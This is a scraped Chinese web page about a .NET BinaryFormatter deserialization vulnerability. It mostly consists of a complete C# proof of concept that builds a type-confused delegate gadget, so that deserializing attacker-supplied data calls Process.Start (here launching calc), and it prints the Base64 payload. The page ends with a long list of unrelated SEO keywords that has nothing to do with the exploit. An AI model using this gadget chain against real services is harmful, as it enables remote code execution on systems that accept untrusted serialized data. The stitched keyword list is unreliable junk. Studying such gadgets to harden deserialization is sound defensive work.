.Net反序列化漏洞之BinaryFormatter
发表于:2025-02-23 作者:千家信息网编辑
千家信息网最后更新 2025年02月23日,https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html.Net反序列化导致RCE的样例,有
千家信息网最后更新 2025年02月23日.Net反序列化漏洞之BinaryFormatter
https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html
.Net反序列化导致RCE的样例,有两点限制:
- BinaryFormatter::Deserialize反序列化的内容用户可控
- .Net SDK大于等于4.5
using System;using System.Collections.Generic;using System.Diagnostics;using System.IO;using System.Linq;using System.Reflection;using System.Runtime.Serialization.Formatters;using System.Runtime.Serialization.Formatters.Binary;using System.Text;using System.Threading.Tasks;namespace Deserializer{ class Program { public static void getCalcPayload() { // Create a simple multicast delegate Delegate d = new Comparison(String.Compare); Comparison d2 = (Comparison)MulticastDelegate.Combine(d, d); // Create set with original comparer IComparer comp = Comparer.Create(d2); SortedSet set = new SortedSet(comp); set.Add("calc"); set.Add("adummy"); TypeConfuseDelegate(d2); BinaryFormatter formatter = new BinaryFormatter { AssemblyFormat = FormatterAssemblyStyle.Simple }; using (MemoryStream stream = new MemoryStream()) { formatter.Serialize(stream, set); int position = (int)stream.Position; byte[] array = stream.GetBuffer(); Array.Resize(ref array, position); String payload = Convert.ToBase64String(array); Console.WriteLine("Calc.exe PayLoad:" + payload); //FileSystemUtils.Pullfile(payload, "payload_calc.dat"); stream.Position = 0; formatter.Deserialize(stream); } } static void TypeConfuseDelegate(Comparison comp) { FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance); object[] invoke_list = comp.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[1] = new Func(Process.Start); fi.SetValue(comp, invoke_list); } static void Main(string[] args) { getCalcPayload(); } }}
序列
内容
用户
限制
漏洞
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
网络安全工程师 百度网盘
互联网科技风云大佬
sql数据库查询关键字
卸载数据库实例
网站云服务器
非传统网络安全有
美国在线服务器
北京飞龙光网络技术
舟山人口数据库
dht爬虫和服务器放哪
用命令创建用户数据库
用友软件数据库数据字典
武汉市软件开发培训学校
服务器电源输出36
微微一笑倾城糜烂了服务器
5g网络安全分类
制定网络安全审查办法的目的是a
服务器询价
卫星终端软件开发
杭州服务器机柜过滤器
广州市南沙区新华科技互联网学校
柳州哪里可以学习手机软件开发
服务器跟机架靠什么固定
德颐网络技术有限公司杭州
服务器的进度管理
手机网络安全知识授课稿件
静安区新型网络技术试验设备
服务器主板灯亮会后又灭
家庭局域网服务器
检察网络安全答题测试活动